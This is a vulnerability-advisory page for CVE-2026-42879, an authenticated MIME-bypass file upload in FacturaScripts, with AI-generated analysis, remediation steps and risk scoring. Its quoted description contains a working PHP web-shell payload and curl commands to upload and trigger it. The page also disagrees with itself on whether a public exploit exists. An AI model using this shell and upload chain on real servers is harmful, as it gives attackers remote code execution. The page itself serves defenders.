Skip to main content

FacturaScripts EUVDEUVD-2026-32626

| CVE-2026-42879 MEDIUM
Code Injection (CWE-94)
2026-05-07 https://github.com/NeoRazorX/facturascripts GHSA-vf3q-frmr-vrr9
6.3
CVSS 3.1 · Vendor: https://github.com/NeoRazorX/facturascripts
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate with valid credentials
  2. Delivery
    Extract CSRF token from EditProducto form
  3. Exploit
    Create PHP shell with GIF89a header
  4. Install
    Bypass MIME validation with magic bytes
  5. C2
    Upload shell.jpg.php via multipart request
  6. Execute
    File stored in web-accessible /MyFiles/ directory
  7. Impact
    Access http://target/MyFiles/2026/03/2.php
  8. Step 8
    Execute arbitrary PHP code

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires valid authenticated credentials (login to FacturaScripts application). The attacker must have access to a product edit interface (EditProducto page) where the image upload feature is enabled and must be able to craft multipart form requests with CSRF token obtained from the target application. The uploaded file must be stored in a directory where the web server is configured to execute PHP (default for most Apache/Nginx deployments with PHP-FPM or mod_php). The server must not have restrictive PHP configuration (e.g., disable_functions stripping system() or exec()) or file type filtering via WAF/IDS. Direct URL access to /MyFiles/ directory must be permitted by web server configuration; if .htaccess or Nginx rules explicitly forbid PHP execution in that directory, RCE is prevented. No special product configuration is required; the vulnerability exists in default installations. The vulnerability is strictly authenticated and does not affect anonymous users.

Impact

CVSS score 6.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L) indicates network-accessible, low-complexity exploitation requiring authenticated access. The critical gap: CVSS severity is understated for RCE scenarios because confidentiality/integrity/availability impact ratings (C:L/I:L/A:L) do not fully capture arbitrary code execution risk. The attack vector is network (AV:N) and attack complexity is low (AC:L), meaning any authenticated user can exploit this reliably. However, the PR:L (requires login) prerequisite significantly limits real-world risk compared to unauthenticated RCE - only users with valid credentials pose a threat. Public proof-of-concept code exists, reducing exploitation barriers. The lack of vendor-released patch (fixed in: None) is concerning, though the GitHub advisory date is recent (inferred 2026 timeframe) and patch development may be in progress. EPSS data is not provided but would likely be moderate given authenticated requirement paired with public POC and straightforward exploitation steps. Real-world priority: HIGH for organizations where insider threat is a concern or credentials are routinely compromised; MEDIUM for those with strong access controls.

Exploit ScenarioDerived

An authenticated FacturaScripts user (e.g., a disgruntled employee or compromised account) creates a PHP web shell by prepending GIF89a magic bytes to PHP code, then uploads it via the product image edit interface as shell.jpg.php. The validation checks the MIME type (which reads as image/gif due to the magic bytes), bypassing the image check. The file is saved to /MyFiles/2026/03/2.php with its original extension preserved. The attacker then accesses http://target/MyFiles/2026/03/2.php?cmd=whoami directly in a browser or via curl, triggering PHP execution and returning server user context. Subsequent commands allow data exfiltration, lateral movement, or persistent backdoor installation.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 07, 2026

Remote code execution in FacturaScripts through authenticated file upload allows attackers with valid credentials to bypass MIME type validation by prepending GIF89a magic bytes to PHP files, resulting in executable files stored in a web-accessible directory. An attacker can upload a malicious PHP file disguised as a GIF image via the product image upload functionality, then directly execute arbitrary commands on the server. The vulnerability affects versions 2025.81 and earlier; publicly available proof-of-concept code exists demonstrating end-to-end exploitation.

RemediationAI

No vendor-released patch is currently available. Immediate mitigations include: (1) Disable the product image upload feature entirely if not essential, blocking POST requests to /EditProducto with action=add-image; (2) Implement strict allowlist-based file extension validation that rejects .php, .phtml, .phar, .php3, .php4, .php5, .pht, and other executable extensions before any further processing, comparing against a hardcoded list rather than trusting MIME type; (3) Regenerate all uploaded filenames server-side using a UUID or hash-based identifier with only whitelisted extensions (.jpg, .png, .gif, .webp), discarding the client-supplied filename entirely; (4) Store uploaded files in a directory outside the web root (e.g., /var/uploads/ instead of /public/MyFiles/) and serve them through a PHP controller that validates access and streams content with appropriate Content-Disposition headers, preventing direct URL execution; (5) Use PHP's fileinfo extension or a dedicated library (e.g., finfo_file, getimagesize with strict validation) to verify actual file content (magic bytes) matches the claimed MIME type and intended extension, rejecting files with mismatches; (6) Restrict upload directory permissions to remove execute bit (chmod 644 or 755 on files, 755 on directories) and add a .htaccess file with 'php_flag engine off' in the MyFiles directory as a defense-in-depth layer. Monitor /MyFiles/ directory for recently created .php or .phtml files as an immediate detection control. Workaround limitation: these mitigations require code modification or server configuration changes; if FacturaScripts is managed as a third-party application, contact vendor for emergency patch availability.

Affected VersionsENISA

facturascripts ≤ 2025.81

Affected Packages

composer facturascripts/facturascripts no fix
euvd facturascripts no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in FacturaScripts' product image upload functionality, specifically in Core/Lib/ExtendedController/ProductImagesTrait.php's addImageAction() method. The root cause is a weak MIME type validation that only checks whether the MIME type string contains 'image/', which is bypassable by prepending file magic bytes (GIF89a header) to arbitrary PHP code. The PHP interpreter will execute the file because the server stores uploads with their original client-supplied filename extensions in a web-accessible directory (/MyFiles/YYYY/MM/), and Apache/Nginx will serve and execute .php files by default. The system uses HTTP basic form upload without proper file content inspection (fileinfo extension) or filename sanitization, relying instead on client-controlled MIME type headers that can be manipulated by the browser or intercepted via proxy tools.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/NeoRazorX/facturascripts) PRIMARY 6.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Primary rating from Vendor (https://github.com/NeoRazorX/facturascripts) · only source for this CVE.

CVSS VectorVendor: https://github.com/NeoRazorX/facturascripts

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

DescriptionCVE.org

CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass

Summary

An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.

---

Details

The vulnerability exists in:

Core/Lib/ExtendedController/ProductImagesTrait.php

Specifically in the addImageAction() method.

Vulnerable Code

php
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}

$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());

Root Cause

  • The validation only checks if MIME type contains "image/"
  • This can be bypassed by prepending GIF89a magic bytes to a PHP file
  • The system incorrectly identifies the file as image/gif
  • The file is saved with a .php extension in a web-accessible directory

File Storage Behavior

Uploaded files are stored in:

/MyFiles/YYYY/MM/X.php

Where X is an auto-incrementing ID. This allows direct remote execution:

http://target/MyFiles/2026/03/2.php?cmd=id

---

Impact

Successful exploitation:

An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation. ---

Proof of Concept (Manual)

Step 1: Create malicious file

bash
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

Step 2: Authenticate

  • Login to the application
  • Extract PHPSESSID from browser cookies

Step 3: Get CSRF token

bash
curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

Step 4: Upload shell

bash
curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[]=@shell.jpg.php"

Step 5: Execute command

bash
curl "http://target/MyFiles/2026/03/2.php?cmd=id"

---

Affected Products

FieldValue
EcosystemPackagist
CVE IDCVE-2026-42879
Package Namefacturascripts/facturascripts
Affected Versions<= 2025.81
Patched VersionsNot yet patched
Fixed inPending

---

Remediation Recommendations

  1. Validate file extension - reject any upload where the filename ends in .php, .phtml, .phar, or other executable extensions, regardless of MIME type
  2. Re-generate filenames on the server - never use getClientOriginalName(); assign a safe UUID-based name with a validated extension
  3. Store uploads outside the webroot - serve files through a controller that streams content, preventing direct URL execution
  4. Use a file type library - validate actual file content (magic bytes + extension + MIME type) with a library like fileinfo rather than trusting client-supplied MIME

Credits

  • Discoverer: Abdullah Alwasabei / Guzrex

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy